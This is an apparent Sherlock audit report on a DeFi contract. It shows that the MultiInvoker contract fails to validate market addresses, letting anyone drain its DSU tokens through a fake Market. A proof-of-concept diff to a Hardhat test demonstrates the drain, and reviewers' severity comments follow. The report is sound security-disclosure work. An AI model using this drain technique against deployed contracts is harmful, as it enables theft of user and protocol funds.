0xTheC0der - DSU token balance of MultiInvoker contract can be drained by anyone

[sherlock-admin]

0xTheC0der

high

DSU token balance of MultiInvoker contract can be drained by anyone

Summary

Due to a missing marketFactory.instances(market) check when performing a PerennialAction.UPDATE_POSITION via MultiInvoker.invoke(...), anyone can drain the whole DSU token balance by providing a fake Market contract.

Vulnerability Detail

Although, the MultiInvoker contract is - as its name says - an invoker contract, it can hold a non-zero balance of DSU tokens due to its market & vault update mechanism, which is mostly handled correctly see L204 and L301. Moreover, such a non-zero balance state requires a validity check of markets/vaults before giving token allowance to them, see MultiInvoker._approve(...).

However, when calling MultiInvoker ._update(...)

    function _update(
        IMarket market,
        UFixed6 newMaker,
        UFixed6 newLong,
        UFixed6 newShort,
        Fixed6 collateral,
        bool wrap
    ) internal {
        // collateral is transferred from this address to the market, transfer from msg.sender to here
        if (collateral.sign() == 1) _deposit(collateral.abs(), wrap);

        market.update(msg.sender, newMaker, newLong, newShort, collateral, false);

        // collateral is transferred from the market to this address, transfer to msg.sender from here
        if (collateral.sign() == -1) _withdraw(msg.sender, collateral.abs(), wrap);
    }

by performing a PerennialAction.UPDATE_POSITION via MultiInvoker.invoke(...), the provided IMarket market contract is not validated using marketFactory.instances(market), therefore one can create a fake Market contract that does nothing on market.update(...).

Impact

As a cosequence, an attacker can invoke a PerennialAction.UPDATE_POSITION using a fake Market contract in order to withdraw an arbitrary collateral amount of DSU tokens, see MultiInvoker._withdraw(...), which leads to loss of funds for the protocol. Furthermore, one can specify to unwrap the DSU tokens and therefore withdraw USDC instead.

Note that this vulnerability also exists on PerennialAction.LIQUIDATE, see MultiInvoker._liquidate(...), but the attack path is easier using the discussed way.

Code Snippet

The following PoC modifies the existing test case "withdraws collateral" to demonstrate the above attack path by having an unrelated attacker account with a fake Market contract withdraw DSU tokens from the MultiInvoker contract.

Just apply the diff below and run the test case in perennial-extensions with npx hardhat test test/unit/MultiInvoker/MultiInvoker.test.ts:

diff --git a/perennial-v2/packages/perennial-extensions/test/unit/MultiInvoker/MultiInvoker.test.ts b/perennial-v2/packages/perennial-extensions/test/unit/MultiInvoker/MultiInvoker.test.ts
index 9c42c49..f165679 100644
--- a/perennial-v2/packages/perennial-extensions/test/unit/MultiInvoker/MultiInvoker.test.ts
+++ b/perennial-v2/packages/perennial-extensions/test/unit/MultiInvoker/MultiInvoker.test.ts
@@ -40,9 +40,11 @@ use(smock.matchers)
 describe('MultiInvoker', () => {
   let owner: SignerWithAddress
   let user: SignerWithAddress
+  let attacker: SignerWithAddress // create unrelated account for attacker
   let usdc: FakeContract<IERC20>
   let dsu: FakeContract<IERC20>
   let market: FakeContract<IMarket>
+  let marketAttacker: FakeContract<IMarket> // fake market contract for attack
   let vault: FakeContract<IVault>
   let marketOracle: FakeContract<IOracleProvider>
   let invokerOracle: FakeContract<AggregatorV3Interface>
@@ -55,7 +57,7 @@ describe('MultiInvoker', () => {
   let multiInvoker: MultiInvoker

   const multiInvokerFixture = async () => {
-    ;[owner, user] = await ethers.HRE.ethers.getSigners()
+    ;[owner, user, attacker] = await ethers.HRE.ethers.getSigners()
   }

   beforeEach(async () => {
@@ -65,6 +67,7 @@ describe('MultiInvoker', () => {
     dsu = await smock.fake<IERC20>('IERC20')
     reward = await smock.fake<IERC20>('IERC20')
     market = await smock.fake<IMarket>('IMarket')
+    marketAttacker = await smock.fake<IMarket>('IMarket')
     vault = await smock.fake<IVault>('IVault')
     marketOracle = await smock.fake<IOracleProvider>('IOracleProvider')
     invokerOracle = await smock.fake<AggregatorV3Interface>('AggregatorV3Interface')
@@ -104,6 +107,7 @@ describe('MultiInvoker', () => {
     marketOracle.latest.returns(oracleVersion)

     usdc.transferFrom.whenCalledWith(user.address).returns(true)
+    // do NOT register 'marketAttacker' as valid market, because only the owner can do this
     marketFactory.instances.whenCalledWith(market.address).returns(true)
     vaultFactory.instances.whenCalledWith(vault.address).returns(true)

@@ -120,12 +124,16 @@ describe('MultiInvoker', () => {
     const fixture = async () => {
       vaultUpdate = { vault: vault.address }
       dsu.transferFrom.whenCalledWith(user.address, multiInvoker.address, collateral.mul(1e12)).returns(true)
-      dsu.transfer.whenCalledWith(user.address, dsuCollateral).returns(true)
+      // since DSU is a mock ERC20 token, we need to mock transfers to the attacker too
+      dsu.transfer.whenCalledWith(attacker.address, dsuCollateral).returns(true)
       usdc.transferFrom.whenCalledWith(user.address, multiInvoker.address, collateral).returns(true)
       usdc.transfer.whenCalledWith(user.address, collateral).returns(true)

       vault.update.returns(true)
       market.update.returns(true)
+
+      // fake attacker market needs to implement 'update' function that does nothing
+      marketAttacker.update.returns(true)
     }

     beforeEach(async () => {
@@ -166,13 +174,13 @@ describe('MultiInvoker', () => {
       expect(dsu.transfer).to.not.have.been.called
     })

-    it('withdraws collateral', async () => {
-      const a = helpers.buildUpdateMarket({ market: market.address, collateral: collateral.mul(-1) })
+    it.only('attacker withdraws collateral', async () => {
+      const a = helpers.buildUpdateMarket({ market: marketAttacker.address, collateral: collateral.mul(-1) })

-      await expect(multiInvoker.connect(user).invoke(a)).to.not.be.reverted
+      await expect(multiInvoker.connect(attacker).invoke(a)).to.not.be.reverted

-      expect(dsu.transfer).to.have.been.calledWith(user.address, dsuCollateral)
-      expect(market.update).to.have.been.calledWith(user.address, '0', '0', '0', collateral.mul(-1), false)
+      expect(dsu.transfer).to.have.been.calledWith(attacker.address, dsuCollateral)
+      expect(marketAttacker.update).to.have.been.calledWith(attacker.address, '0', '0', '0', collateral.mul(-1), false)
     })

     it('withdraws and unwraps collateral', async () => {

Tool used

Manual Review

Recommendation

Always require Market and Vault instances to be valid (via their respective factories). A working example is already given by MultiInvoker._approve(...).

[sherlock-admin]

2 comment(s) were left on this issue during the judging contest.

141345 commented:

l

0xyPhilic commented:

invalid because you can't provide a random market - only added markets by the owner can be used

[arjun-io]

This is a valid callpath but since the MultiInvoker should never hold DSU we would consider this low/informational.

[141345]

Since MultiInvoker does not hold fund, there should not be fund loss if the protocol runs as expected. This contract could only have fund by accidenty. Based on Sherlock's criteria, this should be of low severity.